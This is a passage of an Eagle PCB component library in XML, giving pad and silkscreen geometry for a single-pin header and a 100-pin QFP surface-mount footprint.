x2=\"-0.3048\" y2=\"4.3688\" width=\"0\" layer=\"51\" curve=\"-180\"/>\n<wire x1=\"-1.2954\" y1=\"-4.3688\" x2=\"1.2954\" y2=\"-4.3688\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.2954\" y1=\"4.3688\" x2=\"0.3048\" y2=\"4.3688\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"4.3688\" x2=\"-0.3048\" y2=\"4.3688\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"4.3688\" x2=\"-1.2954\" y2=\"4.3688\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"4.3688\" x2=\"-0.3048\" y2=\"4.3688\" width=\"0.1524\" layer=\"21\" curve=\"-180\"/>\n<text x=\"-3.302\" y=\"4.2418\" size=\"1.27\" layer=\"21\" ratio=\"6\" rot=\"SR0\">*</text>\n<text x=\"-3.4544\" y=\"-7.62\" size=\"2.0828\" layer=\"27\" ratio=\"10\" rot=\"SR0\">&gt;VALUE</text>\n</package>\n<package name=\"1X01\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n<package name=\"QFP50P1600X1600X120-100N\">\n<smd name=\"1\" x=\"-7.62\" y=\"5.9944\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"2\" x=\"-7.62\" y=\"5.5118\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"3\" x=\"-7.62\" y=\"5.0038\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"4\" x=\"-7.62\" y=\"4.4958\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"5\" x=\"-7.62\" y=\"3.9878\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"6\" x=\"-7.62\" y=\"3.5052\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"7\" x=\"-7.62\" y=\"2.9972\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"8\" x=\"-7.62\" y=\"2.4892\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"9\" x=\"-7.62\" y=\"2.0066\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"10\" x=\"-7.62\" y=\"1.4986\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"11\" x=\"-7.62\" y=\"0.9906\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"12\" x=\"-7.62\" y=\"0.508\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"13\" x=\"-7.62\" y=\"0\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"14\" x=\"-7.62\" y=\"-0.508\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"15\" x=\"-7.62\" y=\"-0.9906\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"16\" x=\"-7.62\" y=\"-1.4986\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"17\" x=\"-7.62\" y=\"-2.0066\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"18\" x=\"-7.62\" y=\"-2.4892\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"19\" x=\"-7.62\" y=\"-2.9972\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"20\" x=\"-7.62\" y=\"-3.5052\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"21\" x=\"-7.62\" y=\"-3.9878\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"22\" x=\"-7.62\" y=\"-4.4958\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"23\" x=\"-7.62\" y=\"-5.0038\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"24\" x=\"-7.62\" y=\"-5.5118\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"25\" x=\"-7.62\" y=\"-5.9944\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"26\" x=\"-5.9944\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"27\" x=\"-5.5118\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"28\" x=\"-5.0038\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"29\" x=\"-4.4958\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"30\" x=\"-3.9878\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"31\" x=\"-3.5052\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"32\" x=\"-2.9972\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"33\" x=\"-2.4892\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"34\" x=\"-2.0066\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"35\" x=\"-1.4986\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"36\" x=\"-0.9906\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"37\" x=\"-0.508\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"38\" x=\"0\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"39\" x=\"0.508\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"40\" x=\"0.9906\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"41\" x=\"1.4986\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"42\" x=\"2.0066\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"43\" x=\"2.4892\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"44\" x=\"2.9972\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"45\" x=\"3.5052\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"46\" x=\"3.9878\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"47\" x=\"4.4958\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"48\" x=\"5.0038\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"49\" x=\"5.5118\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"50\" x=\"5.9944\" y=\"-7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"51\" x=\"7.62\" y=\"-5.9944\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"52\" x=\"7.62\" y=\"-5.5118\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"53\" x=\"7.62\" y=\"-5.0038\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"54\" x=\"7.62\" y=\"-4.4958\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"55\" x=\"7.62\" y=\"-3.9878\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"56\" x=\"7.62\" y=\"-3.5052\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"57\" x=\"7.62\" y=\"-2.9972\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"58\" x=\"7.62\" y=\"-2.4892\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"59\" x=\"7.62\" y=\"-2.0066\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"60\" x=\"7.62\" y=\"-1.4986\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"61\" x=\"7.62\" y=\"-0.9906\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"62\" x=\"7.62\" y=\"-0.508\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"63\" x=\"7.62\" y=\"0\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"64\" x=\"7.62\" y=\"0.508\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"65\" x=\"7.62\" y=\"0.9906\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"66\" x=\"7.62\" y=\"1.4986\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"67\" x=\"7.62\" y=\"2.0066\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"68\" x=\"7.62\" y=\"2.4892\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"69\" x=\"7.62\" y=\"2.9972\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"70\" x=\"7.62\" y=\"3.5052\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"71\" x=\"7.62\" y=\"3.9878\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"72\" x=\"7.62\" y=\"4.4958\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"73\" x=\"7.62\" y=\"5.0038\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"74\" x=\"7.62\" y=\"5.5118\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"75\" x=\"7.62\" y=\"5.9944\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R270\"/>\n<smd name=\"76\" x=\"5.9944\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"77\" x=\"5.5118\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"78\" x=\"5.0038\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"79\" x=\"4.4958\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"80\" x=\"3.9878\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"81\" x=\"3.5052\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"82\" x=\"2.9972\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"83\" x=\"2.4892\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"84\" x=\"2.0066\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"85\" x=\"1.4986\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"86\" x=\"0.9906\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"87\" x=\"0.508\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"88\" x=\"0\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"89\" x=\"-0.508\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"90\" x=\"-0.9906\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"91\" x=\"-1.4986\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"92\" x=\"-2.0066\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"93\" x=\"-2.4892\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"94\" x=\"-2.9972\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"95\" x=\"-3.5052\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"96\" x=\"-3.9878\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"97\" x=\"-4.4958\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"98\" x=\"-5.0038\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"99\" x=\"-5.5118\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<smd name=\"100\" x=\"-5.9944\" y=\"7.62\" dx=\"0.2794\" dy=\"1.4732\" layer=\"1\" rot=\"R180\"/>\n<wire x1=\"-6.477\" y1=\"7.0104\" x2=\"-7.0104\" y2=\"7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.0104\" y1=\"6.477\" x2=\"7.0104\" y2=\"7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"-7.0104\" x2=\"7.0104\" y2=\"-7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.5532\" y1=\"6.1722\" x2=\"-6.1722\" y2=\"6.5532\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.0104\" y1=\"-7.0104\" x2=\"-6.477\" y2=\"-7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.0104\" y1=\"-7.0104\" x2=\"7.0104\" y2=\"-6.477\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.0104\" y1=\"7.0104\" x2=\"6.477\" y2=\"7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.0104\" y1=\"7.0104\" x2=\"-7.0104\" y2=\"6.477\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.0104\" y1=\"-6.477\" x2=\"-7.0104\" y2=\"-7.0104\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.8646\" y1=\"1.7018\" x2=\"-8.8646\" y2=\"1.3208\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.8646\" y1=\"1.3208\" x2=\"-8.6106\" y2=\"1.3208\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.6106\" y1=\"1.3208\" x2=\"-8.6106\" y2=\"1.7018\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.8646\" y1=\"-3.302\" x2=\"-8.8646\" y2=\"-3.683\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.8646\" y1=\"-3.683\" x2=\"-8.6106\" y2=\"-3.683\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.6106\" y1=\"-3.683\" x2=\"-8.6106\" y2=\"-3.302\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"-8.6106\" x2=\"-4.191\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.191\" y1=\"-8.8646\" x2=\"-3.81\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.81\" y1=\"-8.8646\" x2=\"-3.81\" y2=\"-8.6106\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.8128\" y1=\"-8.6106\" x2=\"0.8128\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.8128\" y1=\"-8.8646\" x2=\"1.1938\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.1938\" y1=\"-8.8646\" x2=\"1.1938\" y2=\"-8.6106\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.8166\" y1=\"-8.6106\" x2=\"5.8166\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.8166\" y1=\"-8.8646\" x2=\"6.1976\" y2=\"-8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.1976\" y1=\"-8.8646\" x2=\"6.1976\" y2=\"-8.6106\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.8646\" y1=\"-1.3208\" x2=\"8.8646\" y2=\"-1.7018\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.8646\" y1=\"-1.7018\" x2=\"8.6106\" y2=\"-1.7018\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.6106\" y1=\"-1.7018\" x2=\"8.6106\" y2=\"-1.3208\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.8646\" y1=\"3.683\" x2=\"8.8646\" y2=\"3.302\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.8646\" y1=\"3.302\" x2=\"8.6106\" y2=\"3.302\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.6106\" y1=\"3.302\" x2=\"8.6106\" y2=\"3.683\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"8.6106\" x2=\"3.81\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.81\" y1=\"8.8646\" x2=\"4.191\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.191\" y1=\"8.8646\" x2=\"4.191\" y2=\"8.6106\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.1938\" y1=\"8.6106\" x2=\"-1.1938\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.1938\" y1=\"8.8646\" x2=\"-0.8128\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.8128\" y1=\"8.8646\" x2=\"-0.8128\" y2=\"8.6106\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.1976\" y1=\"8.6106\" x2=\"-6.1976\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.1976\" y1=\"8.8646\" x2=\"-5.8166\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.8166\" y1=\"8.8646\" x2=\"-5.8166\" y2=\"8.6106\" width=\"0.1524\" layer=\"21\"/>\n<text x=\"-9.5758\" y=\"5.9944\" size=\"1.27\" layer=\"21\" ratio=\"6\" rot=\"SR0\">*</text>\n<wire x1=\"5.8674\" y1=\"7.0104\" x2=\"6.1468\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.1468\" y1=\"7.0104\" x2=\"6.1468\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.1468\" y1=\"8.001\" x2=\"5.8674\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.8674\" y1=\"8.001\" x2=\"5.8674\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.3594\" y1=\"7.0104\" x2=\"5.6388\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.6388\" y1=\"7.0104\" x2=\"5.6388\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.6388\" y1=\"8.001\" x2=\"5.3594\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.3594\" y1=\"8.001\" x2=\"5.3594\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.8768\" y1=\"7.0104\" x2=\"5.1308\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.1308\" y1=\"7.0104\" x2=\"5.1308\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.1308\" y1=\"8.001\" x2=\"4.8768\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.8768\" y1=\"8.001\" x2=\"4.8768\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.3688\" y1=\"7.0104\" x2=\"4.6228\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.6228\" y1=\"7.0104\" x2=\"4.6228\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.6228\" y1=\"8.001\" x2=\"4.3688\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.3688\" y1=\"8.001\" x2=\"4.3688\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.8608\" y1=\"7.0104\" x2=\"4.1402\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.1402\" y1=\"7.0104\" x2=\"4.1402\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.1402\" y1=\"8.001\" x2=\"3.8608\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.8608\" y1=\"8.001\" x2=\"3.8608\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.3528\" y1=\"7.0104\" x2=\"3.6322\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.6322\" y1=\"7.0104\" x2=\"3.6322\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.6322\" y1=\"8.001\" x2=\"3.3528\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.3528\" y1=\"8.001\" x2=\"3.3528\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.8702\" y1=\"7.0104\" x2=\"3.1242\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.1242\" y1=\"7.0104\" x2=\"3.1242\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.1242\" y1=\"8.001\" x2=\"2.8702\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.8702\" y1=\"8.001\" x2=\"2.8702\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.3622\" y1=\"7.0104\" x2=\"2.6416\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.6416\" y1=\"7.0104\" x2=\"2.6416\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.6416\" y1=\"8.001\" x2=\"2.3622\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.3622\" y1=\"8.001\" x2=\"2.3622\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.8542\" y1=\"7.0104\" x2=\"2.1336\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.1336\" y1=\"7.0104\" x2=\"2.1336\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.1336\" y1=\"8.001\" x2=\"1.8542\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.8542\" y1=\"8.001\" x2=\"1.8542\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3716\" y1=\"7.0104\" x2=\"1.6256\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.6256\" y1=\"7.0104\" x2=\"1.6256\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.6256\" y1=\"8.001\" x2=\"1.3716\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3716\" y1=\"8.001\" x2=\"1.3716\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.8636\" y1=\"7.0104\" x2=\"1.143\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"7.0104\" x2=\"1.143\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"8.001\" x2=\"0.8636\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.8636\" y1=\"8.001\" x2=\"0.8636\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3556\" y1=\"7.0104\" x2=\"0.635\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.635\" y1=\"7.0104\" x2=\"0.635\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.635\" y1=\"8.001\" x2=\"0.3556\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3556\" y1=\"8.001\" x2=\"0.3556\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"7.0104\" x2=\"0.127\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.127\" y1=\"7.0104\" x2=\"0.127\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.127\" y1=\"8.001\" x2=\"-0.127\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"8.001\" x2=\"-0.127\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire 